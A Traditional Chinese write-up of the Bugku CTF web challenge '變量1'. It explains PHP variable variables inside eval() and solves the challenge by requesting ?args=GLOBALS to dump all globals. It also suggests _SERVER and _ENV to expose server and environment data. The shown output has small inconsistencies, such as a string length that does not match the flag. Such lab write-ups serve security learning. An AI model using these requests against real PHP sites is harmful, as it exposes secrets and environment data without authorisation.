Bugku CTF - 變量1 writeup (zh-TW)

題目資訊
- 分類: Web
- 分數: 15
- 解決人次: 16990
- 題目提示: "题目变量1"
- 題目連結: https://ctf.bugku.com/challenges/detail/id/76.html
解題過程
Step 1: 程式碼分析
關鍵部分:
include "flag1.php"
- 包含外部檔案,flag 應該儲存在某個變數中preg_match("/^\w+$/")
- 只允許字母、數字、底線eval("var_dump($$args);")
- 使用可變變數
Step 2: 理解 PHP 可變變數
PHP 可變變數語法 $$variable
可以動態存取變數:
$name = "flag";
$flag = "flag{hello}";
echo $$name; // 執行過程:$$name → ${"flag"} → $flag → "flag{hello}"
應用到本題:
- 當
$args = "flag1"
時 $$args
=$flag1
- 就會輸出
$flag1
變數的值
Step 3: 使用 GLOBALS 萬能解法
PHP 的 $GLOBALS
是一個超全域變數,包含所有全域變數的關聯陣列。
訪問:
http://目標/?args=GLOBALS
輸出結果:
array(8) {
["_GET"]=>
array(1) {
["args"]=>
string(7) "GLOBALS"
}
["_POST"]=>
array(0) {
}
["flag1"]=>
string(38) "flag{php_variable_variables}"
["GLOBALS"]=>
*RECURSION*
["args"]=>
string(7) "GLOBALS"
}
🎯 在輸出中找到 flag1 的值,成功取得 Flag!
其他可能可以利用的超全域變數:
?args=_SERVER
- 伺服器和環境資訊?args=_ENV
- 環境變數?args=_GET
- GET 參數?args=_POST
- POST 參數
學習重點
1. PHP 可變變數機制
$$variable
可以動態存取變數- 常見危險函數:
extract()
,parse_str()
,$$_GET['var']
2. GLOBALS 的使用
$GLOBALS // 包含所有全域變數
$GLOBALS['varname'] // 等同於 $varname
經驗分享
關於Step 2:
這一步有嘗試利用下面幾個方式,但顯示NULL,所以才嘗試用GLOBALS
?args=flag1 # 直接猜測變數名
?args=flag
?args=FLAG